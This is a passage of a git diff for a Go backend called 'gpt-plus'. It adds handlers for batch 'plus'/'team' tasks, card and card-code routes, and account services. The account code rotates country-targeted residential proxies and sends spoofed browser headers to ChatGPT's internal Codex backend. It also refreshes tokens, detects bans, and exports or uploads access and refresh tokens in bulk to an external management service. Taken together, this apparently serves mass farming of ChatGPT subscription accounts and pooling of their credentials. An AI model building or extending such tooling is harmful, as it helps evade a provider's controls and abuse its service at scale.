+ // Prune old entries + valid := make([]time.Time, 0) + for _, t := range loginLimiter.attempts[ip] { + if t.After(window) { + valid = append(valid, t) + } + } + loginLimiter.attempts[ip] = valid + + if len(valid) >= 5 { + c.AbortWithStatusJSON(http.StatusTooManyRequests, gin.H{"error": "登录尝试过于频繁,请稍后再试"}) + return + } + loginLimiter.attempts[ip] = append(loginLimiter.attempts[ip], now) + c.Next() + } +} + +func IsSecure() bool { + return os.Getenv("GIN_MODE") == "release" +} diff --git a/internal/handler/router.go b/internal/handler/router.go new file mode 100644 index 0000000..d549831 --- /dev/null +++ b/internal/handler/router.go @@ -0,0 +1,42 @@ +package handler + +import ( + "github.com/gin-gonic/gin" +) + +func SetupRouter(devMode bool) *gin.Engine { + r := gin.Default() + + // Public routes + pub := r.Group("/api") + pub.POST("/login", LoginRateLimitMiddleware(), Login) + pub.POST("/logout", Logout) + + // Protected routes + api := r.Group("/api") + api.Use(AuthMiddleware()) + { + api.GET("/auth/check", CheckAuth) + + // Config + api.GET("/config", GetConfig) + api.PUT("/config", UpdateConfig) + + // Dashboard + api.GET("/dashboard", GetDashboard) + + // Cards + Card Codes + RegisterCardRoutes(api) + + // Email Records + RegisterEmailRecordRoutes(api) + + // Tasks + RegisterTaskRoutes(api) + + // Accounts + RegisterAccountRoutes(api) + } + + return r +} diff --git a/internal/handler/task.go b/internal/handler/task.go new file mode 100644 index 0000000..9227c3f --- /dev/null +++ b/internal/handler/task.go @@ -0,0 +1,201 @@ +package handler + +import ( + "encoding/json" + "net/http" + "time" + + "gpt-plus/internal/db" + "gpt-plus/internal/task" + + "github.com/gin-gonic/gin" + "github.com/google/uuid" +) + +var taskManager *task.TaskManager + +func SetTaskManager(tm *task.TaskManager) { + taskManager = tm +} + +func RegisterTaskRoutes(api *gin.RouterGroup) { + api.POST("/tasks", CreateTask) + api.GET("/tasks", ListTasks) + api.GET("/tasks/:id", GetTask) + api.GET("/tasks/:id/logs", GetTaskLogs) + api.POST("/tasks/:id/start", StartTask) + api.POST("/tasks/:id/stop", StopTask) + api.POST("/tasks/:id/force-stop", ForceStopTask) + api.DELETE("/tasks/:id", DeleteTask) +} + +type createTaskRequest struct { + Type string `json:"type" binding:"required"` + Count int `json:"count" binding:"required,min=1"` +} + +func CreateTask(c *gin.Context) { + var req createTaskRequest + if err := c.ShouldBindJSON(&req); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + + if req.Type != "plus" && req.Type != "team" && req.Type != "both" { + c.JSON(http.StatusBadRequest, gin.H{"error": "类型必须为 plus, team 或 both"}) + return + } + + // Snapshot current config + var configs []db.SystemConfig + db.GetDB().Find(&configs) + cfgJSON, _ := json.Marshal(configs) + + t := &db.Task{ + ID: uuid.New().String(), + Type: req.Type, + TotalCount: req.Count, + Status: "pending", + Config: string(cfgJSON), + } + + if err := db.GetDB().Create(t).Error; err != nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + c.JSON(http.StatusCreated, t) +} + +func ListTasks(c *gin.Context) { + d := db.GetDB() + query := d.Model(&db.Task{}).Order("created_at DESC") + + if status := c.Query("status"); status != "" { + statuses := splitComma(status) + query = query.Where("status IN ?", statuses) + } + + p := db.PaginationParams{Page: intQuery(c, "page", 1), Size: intQuery(c, "size", 20)} + var tasks []db.Task + result, err := db.Paginate(query, p, &tasks) + if err != nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + c.JSON(http.StatusOK, result) +} + +func GetTask(c *gin.Context) { + var t db.Task + if err := db.GetDB().First(&t, "id = ?", c.Param("id")).Error; err != nil { + c.JSON(http.StatusNotFound, gin.H{"error": "任务不存在"}) + return + } + c.JSON(http.StatusOK, t) +} + +func GetTaskLogs(c *gin.Context) { + taskID := c.Param("id") + sinceID := intQuery(c, "since_id", 0) + limit := intQuery(c, "limit", 50) + if limit > 200 { + limit = 200 + } + + var logs []db.TaskLog + query := db.GetDB().Where("task_id = ?", taskID) + if sinceID > 0 { + query = query.Where("id > ?", sinceID) + } + query.Order("id ASC").Limit(limit).Find(&logs) + c.JSON(http.StatusOK, gin.H{"items": logs}) +} + +func StartTask(c *gin.Context) { + if taskManager == nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": "任务管理器未初始化"}) + return + } + if err := taskManager.Start(c.Param("id")); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + c.JSON(http.StatusOK, gin.H{"message": "任务已启动"}) +} + +func StopTask(c *gin.Context) { + if taskManager == nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": "任务管理器未初始化"}) + return + } + if err := taskManager.Stop(c.Param("id")); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + c.JSON(http.StatusOK, gin.H{"message": "正在停止..."}) +} + +func ForceStopTask(c *gin.Context) { + if taskManager == nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": "任务管理器未初始化"}) + return + } + if err := taskManager.ForceStop(c.Param("id")); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + c.JSON(http.StatusOK, gin.H{"message": "已强制取消"}) +} + +func DeleteTask(c *gin.Context) { + taskID := c.Param("id") + var t db.Task + if err := db.GetDB().First(&t, "id = ?", taskID).Error; err != nil { + c.JSON(http.StatusNotFound, gin.H{"error": "任务不存在"}) + return + } + if t.Status == "running" || t.Status == "stopping" { + c.JSON(http.StatusBadRequest, gin.H{"error": "无法删除运行中的任务"}) + return + } + db.GetDB().Where("task_id = ?", taskID).Delete(&db.TaskLog{}) + db.GetDB().Delete(&t) + c.JSON(http.StatusOK, gin.H{"message": "已删除"}) +} + +func splitComma(s string) []string { + var result []string + for _, v := range splitStr(s, ",") { + v = trimStr(v) + if v != "" { + result = append(result, v) + } + } + return result +} + +func splitStr(s, sep string) []string { + result := []string{} + start := 0 + for i := 0; i <= len(s)-len(sep); i++ { + if s[i:i+len(sep)] == sep { + result = append(result, s[start:i]) + start = i + len(sep) + } + } + result = append(result, s[start:]) + return result +} + +func trimStr(s string) string { + for len(s) > 0 && (s[0] == ' ' || s[0] == '\t') { + s = s[1:] + } + for len(s) > 0 && (s[len(s)-1] == ' ' || s[len(s)-1] == '\t') { + s = s[:len(s)-1] + } + return s +} + +// Ensure time import is used +var _ = time.Now diff --git a/internal/service/account_svc.go b/internal/service/account_svc.go new file mode 100644 index 0000000..0a88751 --- /dev/null +++ b/internal/service/account_svc.go @@ -0,0 +1,418 @@ +package service + +import ( + "context" + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "strings" + "time" + + "gpt-plus/config" + "gpt-plus/internal/db" + "gpt-plus/pkg/auth" + "gpt-plus/pkg/chatgpt" + "gpt-plus/pkg/httpclient" + "gpt-plus/pkg/proxy" + + "gorm.io/gorm" +) + +func getProxyClient(d *gorm.DB) (*httpclient.Client, error) { + var b2Enabled db.SystemConfig + if d.Where("key = ?", "proxy.b2proxy.enabled").First(&b2Enabled).Error == nil && b2Enabled.Value == "true" { + var apiBase, zone, proto db.SystemConfig + d.Where("key = ?", "proxy.b2proxy.api_base").First(&apiBase) + d.Where("key = ?", "proxy.b2proxy.zone").First(&zone) + d.Where("key = ?", "proxy.b2proxy.proto").First(&proto) + + var country db.SystemConfig + d.Where("key = ?", "card.default_country").First(&country) + countryCode := country.Value + if countryCode == "" { + countryCode = "US" + } + + sessTime := 5 + var sessTimeCfg db.SystemConfig + if d.Where("key = ?", "proxy.b2proxy.sess_time").First(&sessTimeCfg).Error == nil { + fmt.Sscanf(sessTimeCfg.Value, "%d", &sessTime) + } + + b2Cfg := config.B2ProxyConfig{ + Enabled: true, APIBase: apiBase.Value, + Zone: zone.Value, Proto: proto.Value, + PType: 1, SessTime: sessTime, + } + + proxyURL, err := proxy.FetchB2Proxy(b2Cfg, countryCode) + if err != nil { + return nil, fmt.Errorf("fetch B2Proxy: %w", err) + } + return httpclient.NewClient(proxyURL) + } + + var proxyCfg db.SystemConfig + if d.Where("key = ?", "proxy.url").First(&proxyCfg).Error == nil && proxyCfg.Value != "" { + return httpclient.NewClient(proxyCfg.Value) + } + + return httpclient.NewClient("") +} + +// parseErrorCode extracts the "code" field from a JSON error response body. +func parseErrorCode(body []byte) string { + var errResp struct { + Detail struct { + Code string `json:"code"` + } `json:"detail"` + } + if json.Unmarshal(body, &errResp) == nil && errResp.Detail.Code != "" { + return errResp.Detail.Code + } + // Fallback: try top-level code + var simple struct { + Code string `json:"code"` + } + if json.Unmarshal(body, &simple) == nil && simple.Code != "" { + return simple.Code + } + return "" +} + +// refreshAccountToken attempts to refresh the access token via Codex OAuth. +// Returns true if refresh succeeded and DB was updated. +func refreshAccountToken(d *gorm.DB, acct *db.Account) bool { + client, err := getProxyClient(d) + if err != nil { + log.Printf("[token-refresh] %s: proxy failed: %v", acct.Email, err) + return false + } + + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + // team_member 不传 workspace_id,用默认 personal workspace 刷新 + workspaceID := "" + if acct.Plan == "team_owner" { + workspaceID = acct.TeamWorkspaceID + } + tokens, err := auth.ObtainCodexTokens(ctx, client, acct.DeviceID, workspaceID) + if err != nil { + log.Printf("[token-refresh] %s: ObtainCodexTokens failed: %v", acct.Email, err) + return false + } + + acct.AccessToken = tokens.AccessToken + if tokens.RefreshToken != "" { + acct.RefreshToken = tokens.RefreshToken + } + if tokens.IDToken != "" { + acct.IDToken = tokens.IDToken + } + if tokens.ChatGPTAccountID != "" { + acct.AccountID = tokens.ChatGPTAccountID + } + d.Save(acct) + log.Printf("[token-refresh] %s: token refreshed successfully", acct.Email) + return true +} + +type AccountCheckResult struct { + ID uint `json:"id"` + Email string `json:"email"` + Status string `json:"status"` + Plan string `json:"plan"` + Message string `json:"message"` +} + +func CheckAccountStatuses(d *gorm.DB, ids []uint) []AccountCheckResult { + var results []AccountCheckResult + + for _, id := range ids { + var acct db.Account + if d.First(&acct, id).Error != nil { + results = append(results, AccountCheckResult{ID: id, Status: "error", Message: "账号不存在"}) + continue + } + + r := checkSingleAccount(d, &acct) + results = append(results, r) + } + + return results +} + +func checkSingleAccount(d *gorm.DB, acct *db.Account) AccountCheckResult { + r := AccountCheckResult{ID: acct.ID, Email: acct.Email} + now := time.Now() + acct.StatusCheckedAt = &now + + client, err := getProxyClient(d) + if err != nil { + r.Status = "error" + r.Message = "代理连接失败: " + err.Error() + d.Save(acct) + return r + } + + accounts, err := chatgpt.CheckAccountFull(client, acct.AccessToken, acct.DeviceID) + if err != nil { + errMsg := err.Error() + + // Try to detect specific error codes from response body + if strings.Contains(errMsg, "401") { + // Could be token_invalidated or account_deactivated — try refresh + log.Printf("[account-check] %s: got 401, attempting token refresh...", acct.Email) + if refreshAccountToken(d, acct) { + // Retry with new token + accounts2, err2 := chatgpt.CheckAccountFull(client, acct.AccessToken, acct.DeviceID) + if err2 == nil { + return buildCheckSuccess(d, acct, accounts2) + } + log.Printf("[account-check] %s: retry after refresh still failed: %v", acct.Email, err2) + } + acct.Status = "banned" + r.Status = "banned" + r.Message = "令牌无效且刷新失败,可能已封禁" + } else if strings.Contains(errMsg, "403") { + acct.Status = "banned" + r.Status = "banned" + r.Message = "账号已封禁 (403)" + } else { + acct.Status = "unknown" + r.Status = "unknown" + r.Message = errMsg + } + d.Save(acct) + return r + } + + return buildCheckSuccess(d, acct, accounts) +} + +func buildCheckSuccess(d *gorm.DB, acct *db.Account, accounts []*chatgpt.AccountInfo) AccountCheckResult { + r := AccountCheckResult{ID: acct.ID, Email: acct.Email} + + var planParts []string + for _, info := range accounts { + planParts = append(planParts, fmt.Sprintf("%s(%s)", info.PlanType, info.Structure)) + } + + target := selectMembershipAccount(acct, accounts) + if target == nil { + acct.Status = "unknown" + r.Status = "unknown" + r.Message = "membership check returned no matching account" + d.Save(acct) + return r + } + + resolvedStatus := normalizeMembershipStatus(target.PlanType) + if resolvedStatus == "" { + resolvedStatus = "unknown" + } + + acct.Status = resolvedStatus + r.Status = resolvedStatus + r.Plan = resolvedStatus + r.Message = fmt.Sprintf("membership=%s (%d accounts: %s)", resolvedStatus, len(accounts), strings.Join(planParts, ", ")) + + if target.AccountID != "" && target.AccountID != acct.AccountID { + acct.AccountID = target.AccountID + } + if target.Structure == "workspace" && target.AccountID != "" { + acct.TeamWorkspaceID = target.AccountID + } + d.Save(acct) + log.Printf("[account-check] %s: %s", acct.Email, r.Message) + return r +} + +func normalizeMembershipStatus(planType string) string { + switch planType { + case "free", "plus", "team": + return planType + default: + return "" + } +} + +func selectMembershipAccount(acct *db.Account, accounts []*chatgpt.AccountInfo) *chatgpt.AccountInfo { + if len(accounts) == 0 { + return nil + } + + if acct.Plan == "team_owner" || acct.Plan == "team_member" { + if acct.TeamWorkspaceID != "" { + for _, info := range accounts { + if info.AccountID == acct.TeamWorkspaceID { + return info + } + } + } + for _, info := range accounts { + if info.Structure == "workspace" && info.PlanType == "team" { + return info + } + } + for _, info := range accounts { + if info.Structure == "workspace" { + return info + } + } + } + + if acct.AccountID != "" { + for _, info := range accounts { + if info.AccountID == acct.AccountID && info.Structure == "personal" { + return info + } + } + } + + for _, info := range accounts { + if info.Structure == "personal" { + return info + } + } + + if acct.AccountID != "" { + for _, info := range accounts { + if info.AccountID == acct.AccountID { + return info + } + } + } + + return accounts[0] +} + +// --- Model Test --- + +type ModelTestResult struct { + ID uint `json:"id"` + Email string `json:"email"` + Model string `json:"model"` + Success bool `json:"success"` + Message string `json:"message"` + Output string `json:"output,omitempty"` +} + +func TestModelAvailability(d *gorm.DB, accountID uint, modelID string) *ModelTestResult { + var acct db.Account + if d.First(&acct, accountID).Error != nil { + return &ModelTestResult{ID: accountID, Model: modelID, Message: "账号不存在"} + } + + if modelID == "" { + modelID = "gpt-4o" + } + + result := doModelTest(d, &acct, modelID) + + // If token_invalidated, auto-refresh and retry once + if !result.Success && strings.Contains(result.Message, "令牌过期") { + log.Printf("[model-test] %s: token expired, refreshing...", acct.Email) + if refreshAccountToken(d, &acct) { + result = doModelTest(d, &acct, modelID) + if result.Success { + result.Message += " (令牌已自动刷新)" + } + } + } + + return result +} + +func doModelTest(d *gorm.DB, acct *db.Account, modelID string) *ModelTestResult { + client, err := getProxyClient(d) + if err != nil { + return &ModelTestResult{ID: acct.ID, Email: acct.Email, Model: modelID, Message: "代理连接失败: " + err.Error()} + } + + result := &ModelTestResult{ID: acct.ID, Email: acct.Email, Model: modelID} + + apiURL := "https://chatgpt.com/backend-api/codex/responses" + payload := map[string]interface{}{ + "model": modelID, + "input": []map[string]interface{}{ + { + "role": "user", + "content": []map[string]interface{}{ + {"type": "input_text", "text": "hi"}, + }, + }, + }, + "stream": false, + "store": false, + } + + headers := map[string]string{ + "Authorization": "Bearer " + acct.AccessToken, + "Content-Type": "application/json", + "Accept": "*/*", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", + "Origin": "https://chatgpt.com", + "Referer": "https://chatgpt.com/", + "oai-language": "en-US", + } + if acct.AccountID != "" { + headers["chatgpt-account-id"] = acct.AccountID + } + if acct.DeviceID != "" { + headers["oai-device-id"] = acct.DeviceID + } + + resp, err := client.PostJSON(apiURL, payload, headers) + if err != nil { + result.Message = fmt.Sprintf("请求失败: %v", err) + return result + } + + body, _ := io.ReadAll(resp.Body) + resp.Body.Close() + + switch resp.StatusCode { + case http.StatusOK: + result.Success = true + result.Message = fmt.Sprintf("模型 %s 可用", modelID) + var respData map[string]interface{} + if json.Unmarshal(body, &respData) == nil { + if output, ok := respData["output_text"]; ok { + result.Output = fmt.Sprintf("%v", output) + } + } + case http.StatusUnauthorized: + code := parseErrorCode(body) + switch code { + case "token_invalidated": + result.Message = "令牌过期 (token_invalidated)" + case "account_deactivated": + result.Message = "账号已封禁 (account_deactivated)" + acct.Status = "banned" + d.Save(acct) + default: + result.Message = fmt.Sprintf("认证失败 (401, code=%s)", code) + } + case http.StatusForbidden: + result.Message = "账号被封禁 (403)" + acct.Status = "banned" + d.Save(acct) + case http.StatusNotFound: + result.Message = fmt.Sprintf("模型 %s 不存在 (404)", modelID) + case http.StatusTooManyRequests: + result.Message = "请求限流 (429),请稍后再试" + default: + errMsg := string(body) + if len(errMsg) > 300 { + errMsg = errMsg[:300] + } + result.Message = fmt.Sprintf("HTTP %d: %s", resp.StatusCode, errMsg) + } + + log.Printf("[model-test] %s model=%s status=%d success=%v msg=%s", acct.Email, modelID, resp.StatusCode, result.Success, result.Message) + return result +} diff --git a/internal/service/cpa_svc.go b/internal/service/cpa_svc.go new file mode 100644 index 0000000..86630e1 --- /dev/null +++ b/internal/service/cpa_svc.go @@ -0,0 +1,125 @@ +package service + +import ( + "bytes" + "encoding/json" + "fmt" + "io" + "mime/multipart" + "net/http" + + "gpt-plus/internal/db" + + "gorm.io/gorm" +) + +// getConfigValue reads a config value from the database, auto-decrypting password fields. +func getConfigValue(d *gorm.DB, key string) (string, error) { + var cfg db.SystemConfig + if err := d.Where("key = ?", key).First(&cfg).Error; err != nil { + return "", err + } + if cfg.Type == "password" && cfg.Value != "" { + decrypted, err := db.Decrypt(cfg.Value) + if err != nil { + // Fallback to raw value (may be plaintext from seed) + return cfg.Value, nil + } + return decrypted, nil + } + return cfg.Value, nil +} + +// TransferResult holds the result for a single account transfer. +type TransferResult struct { + ID uint `json:"id"` + Email string `json:"email"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` +} + +// TransferAccountToCPA builds an auth file for the account and uploads it to CPA. +func TransferAccountToCPA(d *gorm.DB, accountID uint) TransferResult { + // Get account first (for email in result) + var acct db.Account + if err := d.First(&acct, accountID).Error; err != nil { + return TransferResult{ID: accountID, Error: "账号不存在"} + } + + result := TransferResult{ID: acct.ID, Email: acct.Email} + + // Get CPA config + baseURL, err := getConfigValue(d, "cpa.base_url") + if err != nil || baseURL == "" { + result.Error = "CPA 地址未配置" + return result + } + managementKey, err := getConfigValue(d, "cpa.management_key") + if err != nil || managementKey == "" { + result.Error = "CPA Management Key 未配置" + return result + } + + // Build auth file + auth := buildAuthFile(&acct) + jsonData, err := json.MarshalIndent(auth, "", " ") + if err != nil { + result.Error = fmt.Sprintf("序列化失败: %v", err) + return result + } + + // If team_owner, also transfer sub-accounts + if acct.Plan == "team_owner" { + var subs []db.Account + d.Where("parent_id = ?", acct.ID).Find(&subs) + for _, sub := range subs { + subAuth := buildAuthFile(&sub) + subData, _ := json.MarshalIndent(subAuth, "", " ") + if err := uploadAuthFile(baseURL, managementKey, sub.Email+".auth.json", subData); err != nil { + result.Error = fmt.Sprintf("子号 %s 上传失败: %v", sub.Email, err) + return result + } + } + } + + // Upload main account + if err := uploadAuthFile(baseURL, managementKey, acct.Email+".auth.json", jsonData); err != nil { + result.Error = fmt.Sprintf("上传失败: %v", err) + return result + } + + result.OK = true + return result +} + +// uploadAuthFile uploads a single auth JSON file to CPA via multipart form. +func uploadAuthFile(baseURL, managementKey, filename string, data []byte) error { + var body bytes.Buffer + writer := multipart.NewWriter(&body) + part, err := writer.CreateFormFile("file", filename) + if err != nil { + return fmt.Errorf("创建表单失败: %w", err) + } + part.Write(data) + writer.Close() + + req, err := http.NewRequest("POST", baseURL+"/v0/management/auth-files", &body) + if err != nil { + return fmt.Errorf("创建请求失败: %w", err) + } + req.Header.Set("Content-Type", writer.FormDataContentType()) + req.Header.Set("Authorization", "Bearer "+managementKey) + + resp, err := http.DefaultClient.Do(req) + if err != nil { + return fmt.Errorf("请求失败: %w", err) + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated { + respBody, _ := io.ReadAll(resp.Body) + return fmt.Errorf("CPA 返回 %d: %s", resp.StatusCode, string(respBody)) + } + + return nil +} diff --git a/internal/service/export_svc.go b/internal/service/export_svc.go new file mode 100644 index 0000000..7703794 --- /dev/null +++ b/internal/service/export_svc.go @@ -0,0 +1,121 @@ +package service + +import ( + "archive/zip" + "bytes" + "encoding/json" + "fmt" + "time" + + "gpt-plus/internal/db" + + "gorm.io/gorm" +) + +type authFile struct { + OpenAIAPIKey string `json:"OPENAI_API_KEY"` + AccessToken string `json:"access_token"` + IDToken string `json:"id_token"` + LastRefresh string `json:"last_refresh"` + RefreshToken string `json:"refresh_token"` + Tokens authTokens `json:"tokens"` +} + +type authTokens struct { + AccessToken string `json:"access_token"` + AccountID string `json:"account_id"` + IDToken string `json:"id_token"` + LastRefresh string `json:"last_refresh"` + RefreshToken string `json:"refresh_token"` +} + +func buildAuthFile(acct *db.Account) *authFile { + now := time.Now().UTC().Format("2006-01-02T15:04:05Z") + token := acct.AccessToken + if acct.WorkspaceToken != "" { + token = acct.WorkspaceToken + } + accountID := acct.AccountID + if acct.TeamWorkspaceID != "" { + accountID = acct.TeamWorkspaceID + } + return &authFile{ + AccessToken: token, + IDToken: acct.IDToken, + LastRefresh: now, + RefreshToken: acct.RefreshToken, + Tokens: authTokens{ + AccessToken: token, + AccountID: accountID, + IDToken: acct.IDToken, + LastRefresh: now, + RefreshToken: acct.RefreshToken, + }, + } +} + +// ExportAccounts exports accounts as auth.json files. +// If multiple files, returns a zip archive. +func ExportAccounts(d *gorm.DB, ids []uint, note string) ([]byte, string, error) { + var accounts []db.Account + d.Where("id IN ?", ids).Find(&accounts) + + if len(accounts) == 0 { + return nil, "", fmt.Errorf("未找到账号") + } + + // Collect all files to export + type exportFile struct { + Name string + Data []byte + } + var files []exportFile + + for _, acct := range accounts { + auth := buildAuthFile(&acct) + data, _ := json.MarshalIndent(auth, "", " ") + files = append(files, exportFile{ + Name: acct.Email + ".auth.json", + Data: data, + }) + + // If team_owner, also export sub-accounts + if acct.Plan == "team_owner" { + var subs []db.Account + d.Where("parent_id = ?", acct.ID).Find(&subs) + for _, sub := range subs { + subAuth := buildAuthFile(&sub) + subData, _ := json.MarshalIndent(subAuth, "", " ") + files = append(files, exportFile{ + Name: sub.Email + ".auth.json", + Data: subData, + }) + } + } + } + + // Single file — return directly + if len(files) == 1 { + return files[0].Data, files[0].Name, nil + } + + // Multiple files — zip archive + var buf bytes.Buffer + zw := zip.NewWriter(&buf) + for _, f := range files { + w, err := zw.Create(f.Name) + if err != nil { + return nil, "", err + } + w.Write(f.Data) + } + zw.Close() + + ts := time.Now().Format("20060102_150405") + filename := fmt.Sprintf("export_%s_%s.zip", note, ts) + if note == "" { + filename = fmt.Sprintf("export_%s.zip", ts) + } + + return buf.Bytes(), filename, nil +} diff --git a/internal/service/export_test.go b/internal/service/export_test.go new file mode 100644 index 0000000..25f964d --- /dev/null +++ b/internal/service/export_test.go @@ -0,0 +1,168 @@ +package service + +import ( + "archive/zip" + "bytes" + "encoding/json" + "strings" + "testing" + + "gpt-plus/internal/db" + + "github.com/glebarez/sqlite" + "gorm.io/gorm" + "gorm.io/gorm/logger" +) + +func setupExportTestDB(t *testing.T) *gorm.DB { + t.Helper() + d, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{ + Logger: logger.Default.LogMode(logger.Silent), + }) + if err != nil { + t.Fatalf("open db: %v", err) + } + d.AutoMigrate(&db.Account{}) + return d +} + +func TestExportSinglePlusAccount(t *testing.T) { + d := setupExportTestDB(t) + d.Create(&db.Account{ + Email: "plus@test.com", Plan: "plus", Status: "active", + AccessToken: "at-123", RefreshToken: "rt-456", IDToken: "id-789", + AccountID: "acc-001", + }) + + data, filename, err := ExportAccounts(d, []uint{1}, "") + if err != nil { + t.Fatalf("export: %v", err) + } + if !strings.HasSuffix(filename, ".auth.json") { + t.Fatalf("filename = %q, want *.auth.json", filename) + } + + var auth authFile + if err := json.Unmarshal(data, &auth); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if auth.AccessToken != "at-123" { + t.Fatalf("access_token = %q", auth.AccessToken) + } + if auth.Tokens.AccountID != "acc-001" { + t.Fatalf("tokens.account_id = %q", auth.Tokens.AccountID) + } +} + +func TestExportTeamWithSubAccounts(t *testing.T) { + d := setupExportTestDB(t) + owner := db.Account{ + Email: "owner@test.com", Plan: "team_owner", Status: "active", + AccessToken: "owner-at", RefreshToken: "owner-rt", + AccountID: "team-acc", TeamWorkspaceID: "ws-123", WorkspaceToken: "ws-tok", + } + d.Create(&owner) + d.Create(&db.Account{ + Email: "member@test.com", Plan: "team_member", Status: "active", + ParentID: &owner.ID, AccessToken: "mem-at", RefreshToken: "mem-rt", + }) + + data, filename, err := ExportAccounts(d, []uint{owner.ID}, "test") + if err != nil { + t.Fatalf("export: %v", err) + } + if !strings.HasSuffix(filename, ".zip") { + t.Fatalf("filename = %q, want *.zip", filename) + } + + r, err := zip.NewReader(bytes.NewReader(data), int64(len(data))) + if err != nil { + t.Fatalf("open zip: %v", err) + } + if len(r.File) != 2 { + t.Fatalf("zip has %d files, want 2", len(r.File)) + } + + names := make(map[string]bool) + for _, f := range r.File { + names[f.Name] = true + } + if !names["owner@test.com.auth.json"] { + t.Fatal("missing owner auth file") + } + if !names["member@test.com.auth.json"] { + t.Fatal("missing member auth file") + } +} + +func TestExportTeamOwnerUsesWorkspaceToken(t *testing.T) { + d := setupExportTestDB(t) + d.Create(&db.Account{ + Email: "team@test.com", Plan: "team_owner", Status: "active", + AccessToken: "normal-at", WorkspaceToken: "ws-at", + TeamWorkspaceID: "team-ws-id", AccountID: "personal-acc", + }) + + data, _, err := ExportAccounts(d, []uint{1}, "") + if err != nil { + t.Fatalf("export: %v", err) + } + + var auth authFile + json.Unmarshal(data, &auth) + if auth.AccessToken != "ws-at" { + t.Fatalf("should use workspace token, got %q", auth.AccessToken) + } + if auth.Tokens.AccountID != "team-ws-id" { + t.Fatalf("should use team workspace ID, got %q", auth.Tokens.AccountID) + } +} + +func TestExportMultiplePlusAccounts(t *testing.T) { + d := setupExportTestDB(t) + d.Create(&db.Account{Email: "a@test.com", Plan: "plus", AccessToken: "at-a"}) + d.Create(&db.Account{Email: "b@test.com", Plan: "plus", AccessToken: "at-b"}) + + data, filename, err := ExportAccounts(d, []uint{1, 2}, "batch") + if err != nil { + t.Fatalf("export: %v", err) + } + if !strings.HasSuffix(filename, ".zip") { + t.Fatalf("filename = %q, want *.zip for multiple", filename) + } + if !strings.Contains(filename, "batch") { + t.Fatalf("filename should contain note, got %q", filename) + } + + r, _ := zip.NewReader(bytes.NewReader(data), int64(len(data))) + if len(r.File) != 2 { + t.Fatalf("zip has %d files, want 2", len(r.File)) + } +} + +func TestExportNotFound(t *testing.T) { + d := setupExportTestDB(t) + + _, _, err := ExportAccounts(d, []uint{999}, "") + if err == nil { + t.Fatal("expected error for nonexistent account") + } +} + +func TestBuildAuthFileFallbacks(t *testing.T) { + acct := &db.Account{ + Email: "basic@test.com", AccessToken: "at-1", RefreshToken: "rt-1", + IDToken: "id-1", AccountID: "acc-1", + } + auth := buildAuthFile(acct) + + if auth.AccessToken != "at-1" { + t.Fatalf("access_token = %q", auth.AccessToken) + } + if auth.Tokens.AccountID != "acc-1" { + t.Fatalf("tokens.account_id = %q", auth.Tokens.AccountID) + } + if auth.LastRefresh == "" { + t.Fatal("last_refresh should be set") + } +} diff --git a/internal/task/manager.go b/internal/task/manager.go new file mode 100644 index 0000000..a3f6919 --- /dev/null +++ b/internal/task/manager.go @@ -0,0 +1,97 @@ +package task + +import ( + "fmt" + "log" + "sync" + "time" + + "gpt-plus/internal/db" + + "gorm.io/gorm" +) + +// TaskManager controls the lifecycle of task execution. +// Only one task may run at a time (single-task serial constraint). +type TaskManager struct { + mu sync.Mutex + current *TaskRunner + gormDB *gorm.DB +} + +func NewTaskManager(d *gorm.DB) *TaskManager { + return &TaskManager{gormDB: d} +} + +// Init marks any leftover running/stopping tasks as interrupted on startup. +func (m *TaskManager) Init() { + m.gormDB.Model(&db.Task{}). + Where("status IN ?", []string{StatusRunning, StatusStopping}). + Updates(map[string]interface{}{ + "status": StatusInterrupted, + "stopped_at": time.Now(), + }) + log.Println("[task-manager] init: marked leftover tasks as interrupted") +} + +func (m *TaskManager) Start(taskID string) error { + m.mu.Lock() + defer m.mu.Unlock() + + if m.current != nil && m.current.IsRunning() { + return fmt.Errorf("已有任务正在运行 (ID: %s)", m.current.taskID) + } + + var t db.Task + if err := m.gormDB.First(&t, "id = ?", taskID).Error; err != nil { + return fmt.Errorf("任务不存在: %w", err) + } + if t.Status != StatusPending && t.Status != StatusStopped && t.Status != StatusInterrupted { + return fmt.Errorf("任务状态不允许启动: %s", t.Status) + } + + runner, err := NewTaskRunner(taskID, m.gormDB) + if err != nil { + return fmt.Errorf("创建任务运行器失败: %w", err) + } + m.current = runner + + go func() { + runner.Run() + m.mu.Lock() + if m.current == runner { + m.current = nil + } + m.mu.Unlock() + }() + + return nil +} + +func (m *TaskManager) Stop(taskID string) error { + m.mu.Lock() + defer m.mu.Unlock() + + if m.current == nil || m.current.taskID != taskID { + return fmt.Errorf("该任务未在运行") + } + m.current.GracefulStop() + return nil +} + +func (m *TaskManager) ForceStop(taskID string) error { + m.mu.Lock() + defer m.mu.Unlock() + + if m.current == nil || m.current.taskID != taskID { + return fmt.Errorf("该任务未在运行") + } + m.current.ForceStop() + return nil +} + +func (m *TaskManager) IsRunning() bool { + m.mu.Lock() + defer m.mu.Unlock() + return m.current != nil && m.current.IsRunning() +} diff --git a/internal/task/manager_test.go b/internal/task/manager_test.go new file mode 100644 index 0000000..2002607 --- /dev/null +++ b/internal/task/manager_test.go @@ -0,0 +1,144 @@ +package task + +import ( + "testing" + "time" + + "gpt-plus/internal/db" + + "github.com/glebarez/sqlite" + "gorm.io/gorm" + "gorm.io/gorm/logger" +) + +func setupTaskTestDB(t *testing.T) *gorm.DB { + t.Helper() + d, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{ + Logger: 